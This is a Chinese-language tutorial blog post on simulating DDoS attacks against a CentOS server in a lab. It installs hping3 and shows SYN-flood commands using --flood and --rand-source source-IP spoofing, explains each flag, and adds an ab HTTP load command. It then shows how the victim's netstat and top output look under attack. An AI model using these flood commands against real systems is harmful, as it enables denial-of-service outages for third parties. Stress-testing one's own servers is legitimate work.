【centos系统ddos攻击】

centos系统ddos攻击,使用hping3和ab测试攻击模拟攻击

hping3工具

hping3 是一个命令行下使用的 TCP/IP 数据包组装/分析工具,通常 web 服务会用来做压力测试使

用,也可以进行 DOS 攻击的实验。同样 hping3 每次只能扫描一个目标。

安装hping3

bash 复制代码
yum install libpcap-devel tc-devel
ln -s /usr/include/pcap-bpf.h /usr/include/net/bpf.h
wget http://www.hping.org/hping3-20051105.tar.gz
tar zxvf hping3-20051105.tar.gz
cd hping3-20051105
./configure
make
make install

例:使用 hping3 进行压力

hping3 -c 100000 -d 120 -S -p 80 --flood --rand-source 192.168.1.63

hping3 -c 100000 -d 120 -S -p 443 --flood --rand-source 192.168.1.63 # 攻击192.168.1.63的443端口

-c 100000 = 发送的数据包的数量。

-d 120 = 发送到目标机器的每个数据包的大小。单位是字节

-S = 只发送 SYN 数据包。

-p 80 = 目的地端口(80 是 WEB 端口)。你在这里可以使用任何端口。

--flood = 尽可能快地发送数据包,不需要考虑显示入站回复。洪水攻击模式。

--rand-source = 使用随机性的源头 IP 地址。

攻击的目标地址

上服务器查看,被攻击状态:

root@xuegod63 \~# netstat -antup | grep :80

发现了大量伪装的 IP 地址

ab性能测试工具

centos安装ab测试工具

yum install httpd-tools 安装httpd-tools软件包,该软件包包含了ab工具

ab -V 查看版本号

ab -c 100 -n 10000 https://192.168.1.100/ 模拟100个线程请求,10000次

上服务器查看,被攻击状态:top

【参考资料】

hping3拒绝服务攻击小结

https://blog.csdn.net/kelxLZ/article/details/113884942

开发工具-压力测试工具 ab_ab压测post请求-CSDN博客

相关推荐
风123456789~1 小时前
【Linux专栏】ls 排除某个文件
linux·运维·服务器
IT曙光2 小时前
ubuntu apt-get离线源制作
linux·ubuntu
其实防守也摸鱼2 小时前
运维--学习阶段问题解答(1)(自测)
linux·运维·服务器·数据库·学习·自动化·命令模式
懒鸟一枚3 小时前
深入理解 Linux 内存、Swap 交换分区与分页机制的关系
java·linux·数据库
Darkwanderor4 小时前
对Linux的进程控制的研究
linux·运维·c++
bksczm6 小时前
linux之线程概念和控制
linux·开发语言·c++
爱网络爱Linux7 小时前
Linux proc 目录安全加固
linux·运维·rhce·rhca·红帽认证·proc 目录安全加固
hehelm7 小时前
Linux网络编程—TCP字典翻译系统
linux·开发语言·网络·c++·tcp/ip
MindUp7 小时前
企业网盘权限模型解析:多层级访问控制与审计能力选型指南
java·linux·运维
ICECREAM8 小时前
环形队列设计——基于共享内存的高效进程间通信
linux